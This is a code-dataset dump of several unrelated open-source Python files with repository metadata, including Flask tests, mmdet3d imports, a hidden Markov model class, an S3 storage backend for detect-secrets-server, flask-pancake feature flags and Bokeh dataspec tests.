"suffix": "test", "title": "Iris new title", "is_send_trained_mail": True, "is_public": True, "is_controled_signup": True, "is_competitive": False, "min_duration_between_submissions_hour": 0, "min_duration_between_submissions_minute": 0, "min_duration_between_submissions_second": 0, "opening_timestamp": "2000-01-01 00:00:00", "closing_timestamp": "2100-01-01 00:00:00", "public_opening_timestamp": "2000-01-01 00:00:00", } rv = client.post("/events/iris_test/update", data=event_info) assert rv.status_code == 302 assert rv.location == "http://localhost/problems" event = get_event(session, "iris_test") assert event.min_duration_between_submissions == 0 def test_user_interactions(client_session): client, _ = client_session with login_scope(client, "test_iris_admin", "test") as client: rv = client.get("/user_interactions") assert rv.status_code == 200 assert b"landing" in rv.data # TODO: To be tested when we implemented properly the leaderboard # def test_dashboard_submissions(client_session): # client, session = client_session # with login_scope(client, 'test_iris_admin', 'test') as client: # rv = client.get('/events/iris_test/dashboard_submissions') # print(rv.data.decode('utf-8'))

37.244776

86

0.636772

cff1dcb38adf56cd273c18181cb3d86cab7ae113

2,330

py

Python

mmdet3d/ops/__init__.py

chence17/fcaf3d

636aaa0410430deedd7bd4979e8c1bc307424a84

[ "MIT" ]

95

2021-12-01T07:32:48.000Z

2022-03-11T07:12:32.000Z

mmdet3d/ops/__init__.py

chence17/fcaf3d

636aaa0410430deedd7bd4979e8c1bc307424a84

[ "MIT" ]

15

2021-12-03T09:56:17.000Z

2022-03-07T13:01:12.000Z

mmdet3d/ops/__init__.py

chence17/fcaf3d

636aaa0410430deedd7bd4979e8c1bc307424a84

[ "MIT" ]

21

2021-12-02T11:07:55.000Z

2022-03-28T15:25:02.000Z

from mmcv.ops import (RoIAlign, SigmoidFocalLoss, get_compiler_version, get_compiling_cuda_version, nms, roi_align, sigmoid_focal_loss) from .ball_query import ball_query from .furthest_point_sample import (Points_Sampler, furthest_point_sample, furthest_point_sample_with_dist) from .gather_points import gather_points from .group_points import (GroupAll, QueryAndGroup, group_points, grouping_operation) from .interpolate import three_interpolate, three_nn from .knn import knn from .norm import NaiveSyncBatchNorm1d, NaiveSyncBatchNorm2d from .paconv import PAConv, PAConvCUDA, assign_score_withk from .pointnet_modules import (PAConvCUDASAModule, PAConvCUDASAModuleMSG, PAConvSAModule, PAConvSAModuleMSG, PointFPModule, PointSAModule, PointSAModuleMSG, build_sa_module) from .roiaware_pool3d import (RoIAwarePool3d, points_in_boxes_batch, points_in_boxes_cpu, points_in_boxes_gpu) from .sparse_block import (SparseBasicBlock, SparseBottleneck, make_sparse_convmodule) from .voxel import DynamicScatter, Voxelization, dynamic_scatter, voxelization from .rotated_iou import cal_iou_3d, cal_giou_3d __all__ = [ 'nms', 'soft_nms', 'RoIAlign', 'roi_align', 'get_compiler_version', 'get_compiling_cuda_version', 'NaiveSyncBatchNorm1d', 'NaiveSyncBatchNorm2d', 'batched_nms', 'Voxelization', 'voxelization', 'dynamic_scatter', 'DynamicScatter', 'sigmoid_focal_loss', 'SigmoidFocalLoss', 'SparseBasicBlock', 'SparseBottleneck', 'RoIAwarePool3d', 'points_in_boxes_gpu', 'points_in_boxes_cpu', 'make_sparse_convmodule', 'ball_query', 'knn', 'furthest_point_sample', 'furthest_point_sample_with_dist', 'three_interpolate', 'three_nn', 'gather_points', 'grouping_operation', 'group_points', 'GroupAll', 'QueryAndGroup', 'PointSAModule', 'PointSAModuleMSG', 'PointFPModule', 'points_in_boxes_batch', 'get_compiler_version', 'assign_score_withk', 'get_compiling_cuda_version', 'Points_Sampler', 'build_sa_module', 'PAConv', 'PAConvCUDA', 'PAConvSAModuleMSG', 'PAConvSAModule', 'PAConvCUDASAModule', 'PAConvCUDASAModuleMSG' ]

55.47619

78

0.719742

f99d30348e5cb78a7bec0884dce2dc7bf7cefd05

58

py

Python

scilog/__init__.py

soerenwolfers/scilog

ca66a6a7b8d267c8f2998b2a935b35b8f95b7558

[ "MIT" ]

null

scilog/__init__.py

soerenwolfers/scilog

ca66a6a7b8d267c8f2998b2a935b35b8f95b7558

[ "MIT" ]

null

scilog/__init__.py

soerenwolfers/scilog

ca66a6a7b8d267c8f2998b2a935b35b8f95b7558

[ "MIT" ]

null

from .scilog import record,load,analyze,ConvergencePlotter

58

0.87931

69980dc4f75401a67140b78148972f2063a9378d

2,367

py

Python

HypothesisTesting/TurnOnAC.py

teerasitk/DataAnalyticsIOTBootCamp

7b0c6d008fc83136878c56b2bff496e61d5656cb

[ "MIT" ]

null

HypothesisTesting/TurnOnAC.py

teerasitk/DataAnalyticsIOTBootCamp

7b0c6d008fc83136878c56b2bff496e61d5656cb

[ "MIT" ]

null

HypothesisTesting/TurnOnAC.py

teerasitk/DataAnalyticsIOTBootCamp

7b0c6d008fc83136878c56b2bff496e61d5656cb

[ "MIT" ]

null

import pandas as pd from scipy.stats import ttest_1samp, t, sem import matplotlib.pyplot as plt # for plot graph df_temp = pd.read_csv("../Data/NodeTemperature.csv") # Load the csv file df_temp.AbsT = pd.to_datetime(df_temp.AbsT) # convert data-time text into actual datetime list df_temp = df_temp.set_index("AbsT") # set "AbsT" column as index column t_scores = [] #empty list p_values = [] #empty list significance_level = 0.05 # Type I Error target_temp = 20.8 for row in range(df_temp.shape[0]): data = df_temp.iloc[row] t_score, p_val = ttest_1samp(data, popmean=target_temp) t_scores.append(t_score) if t_score < 0: # Expecting positive t-score if # temperature is above target_temp # t-score < 0 indicates that temp is lower # than the target_temp. # Thus, change p to 1-p when t-score <0 p_values.append(1 - p_val/2.0) else: p_values.append(p_val/2.0) # Divided by 2 since it is 2-tail test t_crit = t.ppf(1 - significance_level,3) #df = n-1=4-1 sensors # convert t_scores and p_values into pandas data frame test_stats = pd.DataFrame({"t_score":t_scores, "p_value":p_values, "t_critical":t_crit}, index=df_temp.index) test_stats.to_csv("TTestFor20_8.csv") # save to file # plot the t-score and p-value plt.figure(figsize=(15,8)) plt.subplot(2,1,1) plt.plot(test_stats.t_score, label="t-score") plt.plot(test_stats.t_critical, label="5%-Significance Critical Value") plt.grid() plt.legend() plt.subplot(2,1,2) plt.plot(test_stats.p_value, label="p-value") plt.grid() plt.ylim(0,0.2) plt.yticks([0,0.05,0.1,0.15,0.2]) plt.legend() plt.show() #plot the on and off time with node temperatures alpha = significance_level ac_on = (test_stats.p_value < alpha) plt.figure(figsize=(15,8)) plt.plot(ac_on*1+20.2, label="Ac ON") plt.plot(df_temp.node1, label="node1") plt.plot(df_temp.node2, label="node2") plt.plot(df_temp.node3, label="node3") plt.plot(df_temp.node4, label="node4") plt.grid() plt.xlabel("Time") plt.title("AC On vs Temperatures") plt.show() def makeText(is_on): if is_on: return "On" else: return "Off" ac_status = pd.DataFrame({"status": ac_on}, index=df_temp.index) ac_status.status = ac_status.status.map(makeText) print(ac_status.head()) ac_status.to_csv("ACStatus.csv")

31.56

72

0.689058

1b42e848a314b5e75e704039668bdc7f10ace8c8

5,544

py

Python

sdk/python/pulumi_azure_nextgen/resources/v20190701/deployment_at_subscription_scope.py

test-wiz-sec/pulumi-azure-nextgen

20a695af0d020b34b0f1c336e1b69702755174cc

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_nextgen/resources/v20190701/deployment_at_subscription_scope.py

test-wiz-sec/pulumi-azure-nextgen

20a695af0d020b34b0f1c336e1b69702755174cc

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_nextgen/resources/v20190701/deployment_at_subscription_scope.py

test-wiz-sec/pulumi-azure-nextgen

20a695af0d020b34b0f1c336e1b69702755174cc

[ "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables from . import outputs from ._inputs import * __all__ = ['DeploymentAtSubscriptionScope'] class DeploymentAtSubscriptionScope(pulumi.CustomResource): def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, deployment_name: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, properties: Optional[pulumi.Input[pulumi.InputType['DeploymentPropertiesArgs']]] = None, __props__=None, __name__=None, __opts__=None): """ Deployment information. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] deployment_name: The name of the deployment. :param pulumi.Input[str] location: The location to store the deployment data. :param pulumi.Input[pulumi.InputType['DeploymentPropertiesArgs']] properties: The deployment properties. """ if __name__ is not None: warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning) resource_name = __name__ if __opts__ is not None: warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning) opts = __opts__ if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = dict() if deployment_name is None: raise TypeError("Missing required property 'deployment_name'") __props__['deployment_name'] = deployment_name __props__['location'] = location if properties is None: raise TypeError("Missing required property 'properties'") __props__['properties'] = properties __props__['name'] = None __props__['type'] = None alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-nextgen:resources/latest:DeploymentAtSubscriptionScope"), pulumi.Alias(type_="azure-nextgen:resources/v20180501:DeploymentAtSubscriptionScope"), pulumi.Alias(type_="azure-nextgen:resources/v20190301:DeploymentAtSubscriptionScope"), pulumi.Alias(type_="azure-nextgen:resources/v20190501:DeploymentAtSubscriptionScope"), pulumi.Alias(type_="azure-nextgen:resources/v20190510:DeploymentAtSubscriptionScope"), pulumi.Alias(type_="azure-nextgen:resources/v20190801:DeploymentAtSubscriptionScope"), pulumi.Alias(type_="azure-nextgen:resources/v20191001:DeploymentAtSubscriptionScope"), pulumi.Alias(type_="azure-nextgen:resources/v20200601:DeploymentAtSubscriptionScope")]) opts = pulumi.ResourceOptions.merge(opts, alias_opts) super(DeploymentAtSubscriptionScope, __self__).__init__( 'azure-nextgen:resources/v20190701:DeploymentAtSubscriptionScope', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'DeploymentAtSubscriptionScope': """ Get an existing DeploymentAtSubscriptionScope resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = dict() return DeploymentAtSubscriptionScope(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def location(self) -> pulumi.Output[Optional[str]]: """ the location of the deployment. """ return pulumi.get(self, "location") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The name of the deployment. """ return pulumi.get(self, "name") @property @pulumi.getter def properties(self) -> pulumi.Output['outputs.DeploymentPropertiesExtendedResponse']: """ Deployment properties. """ return pulumi.get(self, "properties") @property @pulumi.getter def type(self) -> pulumi.Output[str]: """ The type of the deployment. """ return pulumi.get(self, "type") def translate_output_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop def translate_input_property(self, prop): return _tables.SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop

44.352

746

0.670996

4f93a93d3ed5d8846880799f10183542f8fb095e

1,139

py

Python

problems/g4_world/Vrp.py

cprudhom/pycsp3

980927188f4262c9ea48a6534795712f09d731d6

[ "MIT" ]

null

problems/g4_world/Vrp.py

cprudhom/pycsp3

980927188f4262c9ea48a6534795712f09d731d6

[ "MIT" ]

null

problems/g4_world/Vrp.py

cprudhom/pycsp3

980927188f4262c9ea48a6534795712f09d731d6

[ "MIT" ]

null

""" See https://en.wikipedia.org/wiki/Vehicle_routing_problem This model is similar to the one proposed by Jakob Puchinger for the 2009 MiniZinc competition Example of Execution: python3 vrp.py -data=Vrp_P-n16-k8.json """ from pycsp3 import * n, capacity, demand, distances = data # x[i][j] is 1 iff the arc (i,j) is part of a route x = VarArray(size=[n, n], dom=lambda i, j: {0} if i == j else {0, 1}) # u[i] is the vehicle load after visiting the ith node (used for subtour elimination) u = VarArray(size=n, dom=lambda i: {0} if i == 0 else range(capacity + 1)) satisfy( # exactly one incoming arc for each node j other than the depot (node 0) [Count(x[:, j], value=1) == 1 for j in range(1, n)], # exactly one outgoing arc for each node i other than the depot (node 0) [Count(x[i], value=1) == 1 for i in range(1, n)], # Miller-Tucker-Zemlin subtour elimination [[u[i], u[j], x[i][j]] * [1, -1, capacity] <= capacity - demand[j] for i in range(1, n) for j in range(1, n) if i != j], # satisfying demand at each node [u[i] >= demand[i] for i in range(1, n)] ) minimize( x * distances )

31.638889

124

0.646181

dda55d9db2391b520b10c77cc12da9ac70edbb71

634

py

Python

src/manage.py

yurdosii/GroupLinks.api

d07e98dda4afe77912df61bdd639f4640ebecce0

[ "MIT" ]

null

src/manage.py

yurdosii/GroupLinks.api

d07e98dda4afe77912df61bdd639f4640ebecce0

[ "MIT" ]

null

src/manage.py

yurdosii/GroupLinks.api

d07e98dda4afe77912df61bdd639f4640ebecce0

[ "MIT" ]

null

#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'grouplinks_api.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()

28.818182

78

0.68612

4306ddd4702969f8ff46459210adfdb6a5aea8b9

2,699

py

Python

pypos/hmm.py

palle-k/pypos

94276cc483aa84031e4f7797494c489ee875b8db

[ "MIT" ]

null

pypos/hmm.py

palle-k/pypos

94276cc483aa84031e4f7797494c489ee875b8db

[ "MIT" ]

null

pypos/hmm.py

palle-k/pypos

94276cc483aa84031e4f7797494c489ee875b8db

[ "MIT" ]

null

import numpy as np from typing import Optional class HMM: def __init__(self, n_states: int, n_emissions: int): self.n_states = n_states self.n_emissions = n_emissions self.transition_prob_: Optional[np.ndarray] = None self.start_prob_: Optional[np.ndarray] = None self.emission_prob_: Optional[np.ndarray] = None def fit(self, x: np.ndarray, y: np.ndarray, l: np.ndarray): """ Fits the HMM to the emission sequences with given target sequences :param x: Emission sequences (seqlen) :param y: Target sequences (seqlen) :param l: Lengths of sequences in X and y :return: Fitted HMM """ self.start_prob_ = np.zeros((self.n_states,)) self.emission_prob_ = np.zeros((self.n_states, self.n_emissions)) self.transition_prob_ = np.zeros((self.n_states, self.n_states)) ptrs = [0, *np.cumsum(l)] for s in y[ptrs[:-1]]: self.start_prob_[s] += 1 for ss, se in zip(ptrs[:-1], ptrs[1:]): obs = x[ss:se] # observation sequence hss = y[ss:se] # hidden state sequence for ob, hs in zip(obs, hss): self.emission_prob_[hs, ob] += 1 for hs1, hs2 in zip(hss[:-1], hss[1:]): self.transition_prob_[hs1, hs2] += 1 self.start_prob_ /= np.sum(self.start_prob_) self.emission_prob_ = self.emission_prob_ / np.sum(self.emission_prob_, axis=1)[:, None] self.transition_prob_ = self.transition_prob_ / np.sum(self.transition_prob_, axis=1)[:, None] return self def predict(self, x: np.ndarray): paths = np.zeros((x.shape[0], self.n_states), dtype='int') probs = np.zeros((x.shape[0], self.n_states)) probs[0] = self.start_prob_ * self.emission_prob_[:, x[0]] for i, ob in enumerate(x[1:]): p_em = self.emission_prob_[:, ob] in_p = probs[i] * self.transition_prob_.T max_in = np.argmax(in_p, axis=1) out_p = in_p[np.arange(0, self.n_states), max_in] out_p *= p_em probs[i+1] = out_p paths[i+1] = max_in max_out = np.argmax(probs[-1]) path = [max_out] for i in reversed(range(1, x.shape[0])): path.append(paths[i, path[-1]]) return np.array(list(reversed(path))) def score(self, x: np.ndarray): probs = np.zeros((x.shape[0], self.n_states)) probs[0] = self.start_prob_ * self.emission_prob_[:, x[0]] for i, ob in enumerate(x[1:]): probs[i+1] = (probs[i] @ self.transition_prob_) * self.emission_prob_[:, ob] return probs

35.513158

103

0.580956

dc5ab2c5063ac43238ee24f645a151d1d4ab70e8

407

py

Python

src/FFEAT/ffeat/flow/__init__.py

PatrikValkovic/MasterThesis

6e9f3b186541db6c8395ebc96ace7289d01c805b

[ "MIT" ]

null

src/FFEAT/ffeat/flow/__init__.py

PatrikValkovic/MasterThesis

6e9f3b186541db6c8395ebc96ace7289d01c805b

[ "MIT" ]

null

src/FFEAT/ffeat/flow/__init__.py

PatrikValkovic/MasterThesis

6e9f3b186541db6c8395ebc96ace7289d01c805b

[ "MIT" ]

null

############################### # # Created by Patrik Valkovic # 3/9/2021 # ############################### """ Module implementing classes controlling flow of the algorithm. """ from .Lambda import Lambda from .Select import Select from .Sequence import Sequence from .Parallel import Parallel from .EachArg import EachArg from .Concat import Concat from .Repeat import Repeat from .Replace import Replace

22.611111

62

0.665848

1803293cb7139aa137bae64a8995605eb6803c18

4,051

py

Python

detect_secrets_server/storage/s3.py

ekmixon/detect-secrets-server

f2a708fa1a4628a7a93039cae92ef90e8b94d9db

[ "Apache-2.0" ]

110

2018-04-13T02:41:40.000Z

2021-11-08T10:29:57.000Z

detect_secrets_server/storage/s3.py

sthagen/detect-secrets-server

4e71fa7f551cd1c55803a3fa62145285676fcb50

[ "Apache-2.0" ]

50

2018-08-21T10:36:06.000Z

2021-04-13T00:42:05.000Z

detect_secrets_server/storage/s3.py

sthagen/detect-secrets-server

4e71fa7f551cd1c55803a3fa62145285676fcb50

[ "Apache-2.0" ]

40

2018-07-06T22:03:38.000Z

2021-09-09T16:21:32.000Z

import os from .file import FileStorage from .file import FileStorageWithLocalGit from detect_secrets_server.core.usage.s3 import should_enable_s3_options class S3Storage(FileStorage): """For file state management, backed to Amazon S3. See detect_secrets_server.storage.file.FileStorage for the expected file layout in the S3 bucket. """ def __init__( self, base_directory, s3_config ): super(S3Storage, self).__init__(base_directory) self.access_key = s3_config['access_key'] self.secret_access_key = s3_config['secret_access_key'] self.bucket_name = s3_config['bucket'] self.prefix = s3_config['prefix'] self._initialize_client() def get(self, key, force_download=True): """Downloads file from S3 into local storage.""" file_on_disk = self.get_tracked_file_location(key) if force_download or not os.path.exists(file_on_disk): self.client.download_file( Bucket=self.bucket_name, Key=self.get_s3_tracked_file_location(key), Filename=file_on_disk, ) return super(S3Storage, self).get(key) # NOTE: There's no `put` functionality, because S3TrackedRepo handles uploads # separately. That is, there are cases when you want to store a local # copy, but not upload it. def get_tracked_repositories(self): # Source: https://adamj.eu/tech/2018/01/09/using-boto3-think-pagination/ pages = self.client.get_paginator('list_objects').paginate( Bucket=self.bucket_name, Prefix=self.prefix, ) for page in pages: for obj in page['Contents']: filename = os.path.splitext(obj['Key'][len(self.prefix):])[0] if filename.startswith('/'): filename = filename[1:] yield ( self.get(filename, force_download=False), # TODO: In it's current state, you can't distinguish the # difference between S3StorageWithLocalGit and S3Storage, # because there's no separate paths in S3. # # Therefore, return None so that the results will be # displayed irregardless of the user's `--local` flag. None, ) def upload(self, key, value): """This is different than `put`, to support situations where you may want to upload locally, but not to be sync'ed with the cloud. """ self.client.upload_file( Filename=self.get_tracked_file_location(key), Bucket=self.bucket_name, Key=self.get_s3_tracked_file_location(key), ) def is_file_uploaded(self, key): """Note: that we are using the filename as a prefix, so we will never run into the 1000 object limit of `list_objects_v2`. :rtype: bool """ filename = self.get_s3_tracked_file_location(key) response = self.client.list_objects_v2( Bucket=self.bucket_name, Prefix=filename, ) for obj in response.get('Contents', []): if obj['Key'] == filename: return bool(obj['Size']) return False def _initialize_client(self): boto3 = self._get_boto3() if not boto3: return self.client = boto3.client( 's3', aws_access_key_id=self.access_key, aws_secret_access_key=self.secret_access_key, ) def _get_boto3(self): """Used for mocking purposes.""" if not should_enable_s3_options(): return import boto3 return boto3 def get_s3_tracked_file_location(self, key): return os.path.join( self.prefix, key + '.json' ) class S3StorageWithLocalGit(S3Storage, FileStorageWithLocalGit): pass

32.408

83

0.593434

40967919b46da17147530b5852309a783bd2814d

387

py

Python

2. Programming Fundamentals With Python (May 2021)/01.Basic Syntax, Conditional Statements and Loops/02_number_definer.py

kzborisov/SoftUni

ccb2b8850adc79bfb2652a45124c3ff11183412e

[ "MIT" ]

1

2021-02-07T07:51:12.000Z

2. Programming Fundamentals With Python (May 2021)/01.Basic Syntax, Conditional Statements and Loops/02_number_definer.py

kzborisov/softuni

9c5b45c74fa7d9748e9b3ea65a5ae4e15c142751

[ "MIT" ]

null

2. Programming Fundamentals With Python (May 2021)/01.Basic Syntax, Conditional Statements and Loops/02_number_definer.py

kzborisov/softuni

9c5b45c74fa7d9748e9b3ea65a5ae4e15c142751

[ "MIT" ]

null

# Task 02. Number Definer num = float(input()) if num == 0: result = 'zero' elif num > 0: result = 'positive' if num < 1: result = 'small ' + result elif num > 1000000: result = 'large ' + result else: result = 'negative' if num > -1: result = 'small ' + result elif num < -1000000: result = 'large ' + result print(result)

18.428571

34

0.534884

5971a987a5ac227b07dcd247b25cd28bc4908dd0

7,046

py

Python

flask_pancake/flags.py

NicMul/flask-pancake

f3f898e2d7c22581aa892280a793a8bd0396d072

[ "MIT" ]

null

flask_pancake/flags.py

NicMul/flask-pancake

f3f898e2d7c22581aa892280a793a8bd0396d072

[ "MIT" ]

null

flask_pancake/flags.py

NicMul/flask-pancake

f3f898e2d7c22581aa892280a793a8bd0396d072

[ "MIT" ]

null

from __future__ import annotations import abc import random from typing import TYPE_CHECKING, Dict, Generic, Optional, Tuple, TypeVar from cached_property import cached_property from flask import current_app from .constants import EXTENSION_NAME, RAW_FALSE, RAW_TRUE from .registry import registry if TYPE_CHECKING: from flask_redis import FlaskRedis from .extension import FlaskPancake from .utils import GroupFunc __all__ = ["Flag", "Sample", "Switch"] DEFAULT_TYPE = TypeVar("DEFAULT_TYPE") class AbstractFlag(abc.ABC, Generic[DEFAULT_TYPE]): name: str default: DEFAULT_TYPE extension: str def __init__( self, name: str, default: DEFAULT_TYPE, extension: Optional[str] = None ) -> None: self.name = name self.set_default(default) self.extension = extension if extension is not None else EXTENSION_NAME registry.register(self) def set_default(self, default: DEFAULT_TYPE) -> None: self.default = default @property def ext(self) -> "FlaskPancake": return current_app.extensions[self.extension] @property def _redis_client(self) -> FlaskRedis: return current_app.extensions[self.ext.redis_extension_name] @cached_property def key(self) -> str: return f"{self.__class__.__name__.upper()}:{self.extension}:{self.name.upper()}" @abc.abstractmethod def is_active(self) -> bool: raise NotImplementedError # pragma: no cover def clear(self) -> None: self._redis_client.delete(self.key) class BaseFlag(AbstractFlag[bool], abc.ABC): def set_default(self, default: bool) -> None: if int(default) not in {0, 1}: raise ValueError( f"Default value for {self.__class__.__name__.lower()} {self.name} " f"must be True or False." ) super().set_default(default) def is_active(self) -> bool: self._redis_client.setnx(self.key, int(self.default)) return self._redis_client.get(self.key) == RAW_TRUE def disable(self) -> None: self._redis_client.set(self.key, 0) def enable(self) -> None: self._redis_client.set(self.key, 1) class Flag(BaseFlag): """ A feature flag. Flags are active (or not) on a per-request / user basis. """ def __init__(self, *args, **kwargs) -> None: super().__init__(*args, **kwargs) self._keys: Dict[str, Tuple[str, str]] = {} def _get_group_keys(self, group_id: str) -> Tuple[str, str]: if group_id in self._keys: return self._keys[group_id] if self.ext.group_funcs is None: raise RuntimeError( f"No group_funcs defined on FlaskPancake extension '{self.extension}'. " "If you don't have users or other types of groups in your application " "and want a global flag to turn things on and off, use a `Switch` " "instead." ) if group_id not in self.ext.group_funcs: raise RuntimeError( f"Invalid group identifer '{group_id}'. This group doesn't seem to be " f"registered in the FlaskPancake extension '{self.extension}'." ) object_key = f"FLAG:{self.extension}:k:{group_id}:{self.name.upper()}" tracking_key = f"FLAG:{self.extension}:t:{group_id}:{self.name.upper()}" r = self._keys[group_id] = (object_key, tracking_key) return r def _get_object_key( self, group_id: str, *, func: GroupFunc = None, object_id: str = None ): object_key_prefix, _ = self._get_group_keys(group_id) if object_id is None: if func is None: func = self.ext.group_funcs[group_id] object_id = func() if object_id is None: return None return f"{object_key_prefix}:{object_id}" def is_active(self) -> bool: if self.ext.group_funcs: for group_id, func in self.ext.group_funcs.items(): object_key = self._get_object_key(group_id, func=func) if object_key is not None: value = self._redis_client.get(object_key) if value == RAW_TRUE: return True elif value == RAW_FALSE: return False return super().is_active() def _track_object(self, group_id: str, object_key: str): self._redis_client.sadd(self._get_group_keys(group_id)[1], object_key) def clear_group(self, group_id: str, *, object_id: str = None): object_key = self._get_object_key(group_id, object_id=object_id) if object_key is None: raise RuntimeError(f"Cannot derive identifier for group '{group_id}'") self._redis_client.delete(object_key) self._redis_client.srem(self._get_group_keys(group_id)[1], object_key) def clear_all_group(self, group_id: str) -> None: _, tracking_key = self._get_group_keys(group_id) object_keys = self._redis_client.smembers(tracking_key) if object_keys: self._redis_client.delete(*object_keys) self._redis_client.srem(tracking_key, *object_keys) def disable_group(self, group_id: str, *, object_id: str = None) -> None: object_key = self._get_object_key(group_id, object_id=object_id) if object_key is None: raise RuntimeError(f"Cannot derive identifier for group '{group_id}'") self._track_object(group_id, object_key) self._redis_client.set(object_key, 0) def enable_group(self, group_id: str, *, object_id: str = None) -> None: object_key = self._get_object_key(group_id, object_id=object_id) if object_key is None: raise RuntimeError(f"Cannot derive identifier for group '{group_id}'") self._track_object(group_id, object_key) self._redis_client.set(object_key, 1) class Switch(BaseFlag): """ A feature switch. Switches are active or inactive, globally. """ class Sample(AbstractFlag[float]): """ A sample of users. A sample is active some percentage of the time, but is not connected to users or requests. """ def set_default(self, default: float) -> None: if not (0 <= default <= 100): raise ValueError( f"Default value for sample {self.name} must be in the range [0, 100]." ) super().set_default(default) def is_active(self) -> bool: self._redis_client.setnx(self.key, self.default) value = self._redis_client.get(self.key) return random.uniform(0, 100) <= float(value) # def clear(self) -> None: # self._redis_client.delete(self.key) def set(self, value: float) -> None: if not (0 <= value <= 100): raise ValueError( f"Value for sample {self.name} must be in the range [0, 100]." ) self._redis_client.set(self.key, value)

33.712919

88

0.628726

c3ba6b7c8ac00df51c9c7f3205362a667a1dbecc

18,982

py

Python

tests/unit/bokeh/core/property/test_dataspec.py

timgates42/bokeh

fb8b07b838f4d07d520cfe899779a11bc89f3c77

[ "BSD-3-Clause" ]

1

2015-01-31T14:42:39.000Z

tests/unit/bokeh/core/property/test_dataspec.py

timgates42/bokeh

fb8b07b838f4d07d520cfe899779a11bc89f3c77

[ "BSD-3-Clause" ]

1

2021-05-12T10:14:45.000Z

tests/unit/bokeh/core/property/test_dataspec.py

timgates42/bokeh

fb8b07b838f4d07d520cfe899779a11bc89f3c77

[ "BSD-3-Clause" ]

1

2021-03-04T05:23:36.000Z

#----------------------------------------------------------------------------- # Copyright (c) 2012 - 2019, Anaconda, Inc., and Bokeh Contributors. # All rights reserved. # # The full license is in the file LICENSE.txt, distributed with this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Boilerplate #----------------------------------------------------------------------------- import pytest ; pytest #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- # Standard library imports import datetime from copy import copy # External imports import numpy as np # Bokeh imports from bokeh._testing.util.api import verify_all from bokeh.core.has_props import HasProps # Module under test import bokeh.core.property.dataspec as bcpd # isort:skip #----------------------------------------------------------------------------- # Setup #----------------------------------------------------------------------------- ALL = ( 'AngleSpec', 'ColorSpec', 'DataSpec', 'DataDistanceSpec', 'DistanceSpec', 'expr', 'field', 'FontSizeSpec', 'HatchPatternSpec', 'MarkerSpec', 'NumberSpec', 'ScreenDistanceSpec', 'StringSpec', 'UnitsSpec', 'value', ) #----------------------------------------------------------------------------- # General API #----------------------------------------------------------------------------- def test_strict_dataspec_key_values(): for typ in (bcpd.NumberSpec, bcpd.StringSpec, bcpd.FontSizeSpec, bcpd.ColorSpec, bcpd.DataDistanceSpec, bcpd.ScreenDistanceSpec): class Foo(HasProps): x = typ("x") f = Foo() with pytest.raises(ValueError): f.x = dict(field="foo", units="junk") def test_dataspec_dict_to_serializable(): for typ in (bcpd.NumberSpec, bcpd.StringSpec, bcpd.FontSizeSpec, bcpd.ColorSpec): class Foo(HasProps): x = typ("x") foo = Foo(x=dict(field='foo')) props = foo.properties_with_values(include_defaults=False) assert props['x']['field'] == 'foo' assert props['x'] is not foo.x class Test_AngleSpec(object): def test_default_none(self): class Foo(HasProps): x = bcpd.AngleSpec(None) a = Foo() assert a.x is None assert a.x_units == 'rad' a.x = 14 assert a.x == 14 assert a.x_units == 'rad' def test_autocreate_no_parens(self): class Foo(HasProps): x = bcpd.AngleSpec a = Foo() assert a.x is None assert a.x_units == 'rad' a.x = 14 assert a.x == 14 assert a.x_units == 'rad' def test_default_value(self): class Foo(HasProps): x = bcpd.AngleSpec(default=14) a = Foo() assert a.x == 14 assert a.x_units == 'rad' def test_setting_dict_sets_units(self): class Foo(HasProps): x = bcpd.AngleSpec(default=14) a = Foo() assert a.x == 14 assert a.x_units == 'rad' a.x = { 'value' : 180, 'units' : 'deg' } assert a.x == { 'value' : 180 } assert a.x_units == 'deg' def test_setting_json_sets_units_keeps_dictness(self): class Foo(HasProps): x = bcpd.AngleSpec(default=14) a = Foo() assert a.x == 14 assert a.x_units == 'rad' a.set_from_json('x', { 'value' : 180, 'units' : 'deg' }) assert a.x == 180 assert a.x_units == 'deg' def test_setting_dict_does_not_modify_original_dict(self): class Foo(HasProps): x = bcpd.AngleSpec(default=14) a = Foo() assert a.x == 14 assert a.x_units == 'rad' new_value = { 'value' : 180, 'units' : 'deg' } new_value_copy = copy(new_value) assert new_value_copy == new_value a.x = new_value assert a.x == { 'value' : 180 } assert a.x_units == 'deg' assert new_value_copy == new_value class Test_ColorSpec(object): def 